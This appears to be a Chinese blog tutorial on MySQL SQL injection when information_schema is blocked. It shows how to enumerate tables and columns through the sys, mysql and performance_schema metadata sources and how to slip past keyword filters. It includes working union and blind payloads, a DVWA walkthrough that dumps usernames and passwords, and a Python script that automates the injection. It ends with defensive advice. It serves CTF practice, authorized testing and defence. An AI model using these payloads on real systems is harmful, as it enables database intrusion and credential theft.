直接说结论在SQL注入测试里information_schema被过滤不代表拿不到库名、表名、字段名。这几年我打CTF和做授权测试时至少遇过七八次过滤点专门盯着information_schema做黑名单有些甚至连information_schema这个词直接屏蔽。刚开始我也头疼后来把MySQL自身的元数据来源理了一遍发现能用的替代路径比想象中多而且不少靶场题DVWA、pikachu、ctfshow、ctfhub在出题时都会默认选手只知道information_schema这一条路。这篇文章我想把自己实际用过的绕过技法、替代路径、踩坑点一次性讲清楚。内容围绕MySQL环境展开因为目前Web站点用MySQL的比例最高SQL注入屏蔽information_schema的玩法也主要集中在MySQL上。适合正在刷靶场的人、做渗透测试想要提升效率的人以及做安全防御想知道该怎么防的人。1. 绕过information_schema到底在解决什么问题1.1 先说清楚过滤点通常卡在哪很多过滤规则其实非常简单粗暴。WAF或代码里经常做这样的事检测请求里是否出现“information_schema”字符串出现就拦截。有些严格一点会把schema、tables、columns这些元数据关键字一起过滤掉。这种情况下注入点依然存在笛卡尔积还能用报错函数也能用但你没法用最常规的那句select table_name from information_schema.tables where table_schemadatabase()如果过滤规则只是简单做字符串替换比如把information_schema替换成空那可以用嵌套写法绕过。我后面会专门讲语法级绕过。但更常见的场景是Web应用本身做了更严的关键字过滤让你没办法完整输入information_schema这个单词。这时候就需要绕开information_schema去别的元数据来源找信息。1.2 你真正需要提取的信息只有两类做SQL注入测试本质上是在问数据库三个问题有哪些数据库某个数据库下有哪些表某张表里有哪些字段这三个问题information_schema都能回答。但我们现实里最常用的是后两个表名和字段名。库名很多时候通过当前连接的database()就能拿到不需要专门去查元数据。所以替代路径的核心目标是在不碰information_schema的前提下拿到表名和字段名。这里要建立一个认知MySQL的元数据不只是information_schema一个地方有。MySQL为了自身运行、统计和运维已经把元数据分散存到了多个内部库里。我们只是把“字典”换了一本。2. 替代路径全景哪些表和视图能顶替information_schema2.1 版本差异是绕过方案的底层逻辑MySQL 5.6及以前能用的内部库主要是information_schema和mysql。到了MySQL 5.7sys库出现它像一个“运维友好的包装层”把底层很多难读的统计数据做成视图。MySQL 8.0之后performance_schema变得更重要sys库也保留同时对information_schema的访问权限有了更细的控制。这个版本差异直接影响绕过方案的选择。假设你是打一个老系统MySQL 5.5那sys库一定不存在你只能用mysql.innodb_table_stats这类表。如果目标是MySQL 5.7/8.0sys库大概率可用这就多了一整个视图家族的绕过面。注意实战前先判断版本。一个简单的方法是用version()函数的返回结果或者看报错信息的版本片段。版本判断错了后面的替代方案很可能踩空。2.2 六类实用替代元数据来源我按实用程度排个序这些都是在真实环境里验证过能出数据的来源库名关键表/视图能拿到什么适用版本权限需求sys库自增列信息sysschema_auto_increment_columns库名、表名、字段名、自增当前值5.7较低通常可读sys库表统计数据sysschema_table_statistics_with_buffer库名、表名5.7较低InnoDB统计表mysqlinnodb_table_stats库名、表名5.6需要mysql库读权限InnoDB索引统计表mysqlinnodb_index_stats库名、表名、索引名5.6需要mysql库读权限performance_schema当前语句performance_schemaevents_statements_current / events_statements_history_long当前或历史执行的SQL文本5.7中等performance_schema语句汇总performance_schemaevents_statements_summary_by_digestSQL模板文本字段名常出现在其中5.7中等sys.schema_auto_increment_columns这个视图可以直接查出来字段名这是个很关键的点。它含列名column_name当你面对一个“过滤了information_schema但不能过滤sys”的注入点时可以一步到位select table_name,column_name from sys.schema_auto_increment_columns where table_schemadatabase()这里有个很多人没意识到的小细节大量业务表的主键都是自增列而主键字段名又能作为检索数据时的排序字段。所以通过自增列拿到字段名后即使拿不到整表所有列名也能用主键字段配合报错注入或盲注继续测试。后面我会讲怎么用这个思路推进。2.3 选型判断什么时候用哪一套没有一套方案是全能的必须按场景选如果目标是MySQL 5.7及以上优先试sys.schema_auto_increment_columns因为它的字段最全。如果sys库被禁用或没权限退到mysql.innodb_table_stats拿表名。如果mysql库也被读了权限那就用performance_schema的当前语句记录靠报错注入本身触发语句捕获。如果这些库全被禁再用纯猜解和语法级绕过。我见过很多新手上来就套前两种结果在MySQL 5.5的靶场里翻车。老版本MySQL没有sys库mysql.innodb_table_stats也未必维护了数据需要开启innodb_stats_persistent才有值早期版本默认关闭。这种情况下反而只能用information_schema原本的那套结果又被过滤。真正的解法只剩下语法级绕过过滤规则或者用报错注入无元数据猜解。所以判断版本和权限之前别急着背payload。3. 实战技法拆分从表名到字段名的完整链路3.1 用sys.schema_auto_increment_columns一步拿字段名这是我最推荐的替代路径没有之一。这个视图在MySQL 5.7引入记录的是所有启用自增的表和列。查询语句很直观select table_schema,table_name,column_name from sys.schema_auto_increment_columns where table_schemadatabase()放到union注入里经典用法是这样id1 union select 1,2,group_concat(table_name,0x3a,column_name) from sys.schema_auto_increment_columns where table_schemadatabase() --我实测过这条语句在DVWA、pikachu这类靶场里基本都能打出来。它最大的优势是把表名和字段名一次拿到。假设当前库里有users表返回结果可能是users:id这样一个id字段就到手了。但要注意一个问题这个视图只会显示自增列。如果目标表的主键不是自增的你在这一步拿不到字段名。另外如果当前用户对这个表只有查询权限但表本身是别的用户建立的这个视图所在库的可见性可能没有想像中那么好。实际测试时我会多试几个sys库视图做交叉验证。3.2 用mysql.innodb_table_stats绕过sys缺失场景当sys库不存在或者没读权限时把目标转向mysql库。innodb_table_stats是InnoDB持久化统计信息表在MySQL 5.6普遍存在。注意它的字段名不是table_schema而是database_nameselect database_name,table_name from mysql.innodb_table_stats where database_namedatabase()对应到注入里id1 union select 1,2,group_concat(table_name) from mysql.innodb_table_stats where database_namedatabase() --需要强调一点这张表里的数据是统计信息不是实时扫描出的所有表。它的刷新时机受innodb_stats_auto_recalc等参数影响。一般新建表之后它会很快同步但不排除极端情况下统计信息缺失导致漏表。所以拿到的表名要做一次数据验证看看能不能正常查询。另外有的MySQL版本里这张表可能为空如果查询结果一直没有数据不要纠结直接换mysql.innodb_index_stats。3.3 用mysql.innodb_index_stats以索引名推断列名上面提到如果innodb_table_stats没数据换innodb_index_stats。这张表存的是每个索引的统计信息字段包括database_name、table_name、index_name。索引名的信息量非常大如果业务表给主键建了索引索引名一般是PRIMARY光看这个没用。但很多业务会给字段建普通索引索引名往往是“idx_字段名”或者直接用字段名。联合索引更是会把多个字段名直接拼进索引名里。查询方式select database_name,table_name,index_name from mysql.innodb_index_stats where database_namedatabase()放在注入里id1 union select 1,2,group_concat(table_name,0x3a,index_name) from mysql.innodb_index_stats where database_namedatabase() --我在真实授权测试里遇到过一张用户表通过对innodb_index_stats查询直接暴露了idx_username、idx_email这类索引名。虽然没有直接拿到password列名但已经能推断出表里至少有username、email这两个字段结合常见口令字段命名规范再去猜password基本是水到渠成。这里有一个实操技巧利用index_name的结果去对应“哪些字段参与了索引”再用布尔盲注逐字段确认是否存在。从索引名得到字段名后用order by 1的方式先确认列数再用字段名 in (...)之类的方式去布尔验证。虽然速度慢但在信息缺失的情况下非常有效。3.4 用performance_schema的当前语句读取SQL文本这个思路比较进阶适合“所有元数据表都读不到”的极端场景。performance_schema里维护了当前连接正在执行的语句以及最近执行过的语句记录。如果注入点所在的应用预先执行过一些语句或者当前查询本身就能被记录到events_statements_history_long里那我们就有机会直接读取SQL文本。举个例子select sql_text from performance_schema.events_statements_history_long order by event_id desc limit 1这条语句返回的是最近一次执行的SQL文本。如果我们想办法让应用在某个时刻执行一条包含表名和字段名的语句比如插入、更新、或者登录查询然后再利用注入点去读这条记录就能拿到目标信息。另一种思路是利用sys.processlist视图select query from sys.processlist where conn_idconnection_id()它底层也是读performance_schema。这类方法的限制在于performance_schema默认对语句历史记录的长度有限制而且很多生产环境会关闭对SQL文本的采集。如果系统运维把performance_schema_events_statements_history_long_size设置成0那这条路就直接断掉。所以这个方案只能作为保险不能作为主攻路径。3.5 关键字被过滤时的SQL语法级绕过如果目标只是过滤了information_schema这个词而不是彻底禁止元数据查询那可以试试SQL语法层面的绕过information_schema./**/tables information_schema.tables注释符在MySQL里可以分割关键字某些过滤逻辑如果只是正则匹配“information_schema.tables”这个整体就会被这种方法打破。再比如等号被过滤可以用in、like、regexp替代select table_name from information_schema.tables where table_schema like database()如果过滤规则把information_schema直接替换成空串但只替换一次用嵌套写法可能绕过infoormation_schema前提是过滤逻辑做的是单次替换。如果做了递归替换这条路就不能用。实操里我建议先把过滤规则摸清楚不要一上来就套payload。最简单的探测方法是分别在参数里试and 11、and 12、and aa观察页面差异再手动构造一段带information_schema的测试值看它被替换还是被拦截。4. 拿实际靶场走一遍完整流程4.1 环境说明与判断过滤规则这里拿DVWA的SQL注入模块做演示因为它最常见的版本用的是MySQL而且很多人刷靶场都会从它开始。假设当前是Low级别它本身并没有过滤信息但在很多改版练习里会把源码改成对information_schema做黑名单过滤。我们就按这个过滤场景来做。首先判断注入类型id1 --返回正常页面说明单引号闭合成功。接着用order by确认字段数id1 order by 3 --继续到4时报错说明目标查询是3个字段。这里补充一个细节如果过滤规则连order by也拦可以用group by做等效判断id1 group by 3 --4.2 爆库名到爆表名在字段数确认后先用database()拿当前库名这一步不需要任何元数据表id1 union select 1,2,database() --假设返回的是dvwa。接着试sys库的替代路径因为我们模拟的场景是MySQL 5.7并且sys库可用id1 union select 1,2,group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schemadvwa --这条SQL能看到dvwa库下的表列表比如guestbook和users。如果表很多sys.schema_table_statistics_with_buffer可能受统计信息影响而漏掉一些那就改用sys.schema_auto_increment_columns作为补充id1 union select 1,2,group_concat(distinct table_name) from sys.schema_auto_increment_columns where table_schemadvwa --这里的distinct很有用因为一张表如果有多个自增列按理说不常见但用distinct能避免重复表名影响结果判断。4.3 从表名到字段名拿到users表后重点来了。如果我们用sys.schema_auto_increment_columns可以同时拿到user_id这个字段名id1 union select 1,2,group_concat(table_name,0x3a,column_name) from sys.schema_auto_increment_columns where table_schemadvwa and table_nameusers --正常情况下返回users:user_id。但只有user_id不够我们还需要username和password。此时有两个方向方向一继续用mysql.innodb_index_stats利用索引名推断id1 union select 1,2,group_concat(index_name) from mysql.innodb_index_stats where database_namedvwa and table_nameusers --如果这张表有索引名为username那就直接验证了username字段的存在。方向二做布尔盲注猜字段名。先猜username是否存在id1 and (select count(*) from users where username is not null)0 --页面返回正常说明username字段存在。再猜passwordid1 and (select count(*) from users where password is not null)0 --如果页面异常说明字段名猜错换pwd、passwd、pass等命名继续试。这个流程慢是慢但胜在稳定。4.4 直接拖数据与盲注配合字段名确认完整后剩下的就是直接查数据把注入点变成完整的SQL执行接口id1 union select 1,2,group_concat(username,0x3a,password) from users --如果这一步结果被页面长度限制截断可以用limit分页id1 union select 1,2,username from users limit 0,1 -- id1 union select 1,2,password from users limit 0,1 --这里有个经验union注入查询多个字段时如果页面只显示某一位就把敏感数据放在显示的位上。我之前经常犯的错是把所有目标字段塞进group_concat结果因为内容太长被截断反而漏了关键信息。后来一律改成逐字段查稳得多。5. 自动化与脚本化枚举思路5.1 手写Python探测脚本手工打靶场没问题但真实授权测试里目标往往有几十张表手工测到后面效率太低。我习惯先用Python写一个临时脚本做元数据查询。脚本的核心逻辑比较简单构造请求把查询结果从页面里提取出来。以下脚本用于调用union注入查询sys.schema_auto_increment_columnsimport requests import re url http://target/vulnerabilities/sqli/ cookies {PHPSESSID: your_session} headers {User-Agent: Mozilla/5.0} def sqli(payload): params {id: payload, Submit: Submit} r requests.get(url, paramsparams, cookiescookies, headersheaders) return r.text payload 1 union select 1,2,group_concat(table_name,0x3a,column_name) from sys.schema_auto_increment_columns where table_schemadatabase() -- html sqli(payload) # 假设页面上回显区域有特定标记这里做正则提取 result re.findall(rpre(.*?)/pre, html, re.S) print(result[:5])这个脚本要针对目标页面结构微调重点是提取回显的位置。如果页面没有明显的pre标签就根据当前注入位附近的前后文做定位。5.2 结合sqlmap自定义字典sqlmap是一个成熟的注入检测工具默认它探测元数据时走的是information_schema如果目标过滤了它sqlmap可能会失败。这时候可以给sqlmap配置替代路径相关的payload。不过在讲具体配置前我想强调一点工具能不能用取决于注入点本身是否稳定、目标网络是否通畅、WAF规则是什么。sqlmap在遇到信息过滤时未必能自动切换元数据来源所以我通常不把宝全押在它身上。手工脚本一次能拿到的内容比sqlmap反复调教要快得多。对于确定存在过滤的场景我会先手工确认哪一种替代路径可行再把这个SQL语句固化到脚本里跑循环比如遍历所有表名、逐表猜字段。这也是我建议所有刷靶场的人都要练的基本功先会手注再谈自动化。6. 踩坑实录与防御视角强化6.1 常见报错及排查现象可能原因解决办法查sys.schema_auto_increment_columns返回空MySQL版本低于5.7或当前库没有自增列改用mysql.innodb_table_stats检查表结构查mysql.innodb_table_stats无数据该用户对mysql库无读权限或统计信息未持久化改用sys库视图或直接语法级绕过过滤报错函数updatexml/extractvalue无回显目标MySQL版本过高且函数被禁用或错误信息被吞改用时间盲注或布尔盲注过滤了union select过滤了select关键字而非元数据尝试用union select嵌套、注释分割、大小写变形结果字段太长导致页面截断group_concat默认长度限制或页面显示区位限制分页查询一次只带一个字段在真实测试里我遇到过最麻烦的情况是过滤规则同时拦了schema、tables、columns三个词并且连sys、mysql这两个库名也被拉黑。这种情况下元数据替代路径全部失效只能走性能模式查SQL文本或者干脆纯猜列名。所以“替代路径”这套方案并不是万能的它解决的是“information_schema被过滤但其他库放行”的常见场景。如果服务端把所以元数据来源全部封死那就必须回到原始注入逻辑里去找突破点。6.2 数据碰撞与逻辑不稳地还有一个容易忽略的坑mysql.innodb_table_stats和innodb_index_stats的数据可能与真实表结构不同步。尤其在高并发写入、频繁删除表、或者MySQL异常关机的库上统计信息经常落后。你通过它拿到的表名列表可能是残缺的。我在一次授权测试里就遇到过innodb_table_stats里只有3张表但实际库里有十几张最后是靠sys.schema_table_statistics_with_buffer才补全了表清单。所以建议至少用两个不同的元数据来源交叉验证不要拿到几个表名就急着交差。6.3 防御端加固建议绕过information_schema的技法这么多反过来也说明防御端不能只靠过滤一个关键词来防注入。真正有效的防护应该分几层第一层参数化查询解决注入本身。如果所有SQL都用预处理语句绑定参数后面这些绕过手法全都没有用武之地。第二层最小权限隔离。数据库账号只授权业务需要的库表不授予对mysql库、sys库、performance_schema的任意读权限。很多注入就算成功了也拿不到元数据。第三层数据库账号与Web应用账号分离。如果每张业务表都用独立账号访问即使某个注入点被利用影响范围也被控制住。第四层对慢查询和异常语句做监控。即便有人用绕过手法在测试performance_schema和慢查询日志里大概率会留下可追溯的痕迹。防御方应该定期审计这些日志。这些加固思路本质上就是“不要指望一个黑名单挡住所有攻击”。黑名单永远有绕过空间白名单和参数化才是正解。最后聊点自己的体会我把这套替代路径完整梳理了一遍之后最大的感受是很多人对SQL注入的理解停留在“背payload”的层面一旦目标把最常用的关键词过滤掉就完全不知道下一步怎么走。但数据库本身是个高度复杂的系统它对运维、统计、监控要提供一堆内置的数据来源这些都可能是注入测试的杠杆点。只要把MySQL的元数据架构吃透即使information_schema被禁也还有sys库、mysql库、performance_schema这几条路可以走。如果你正在刷DVWA、pikachu、ctfshow或者ctfhub建议带着这个思路多试几道带过滤的题先判断版本再判断哪些库能读最后确定用哪套替代路径。刷完你会发现所谓“绕过”不是撞运气而是对数据库底座的理解又多了一层。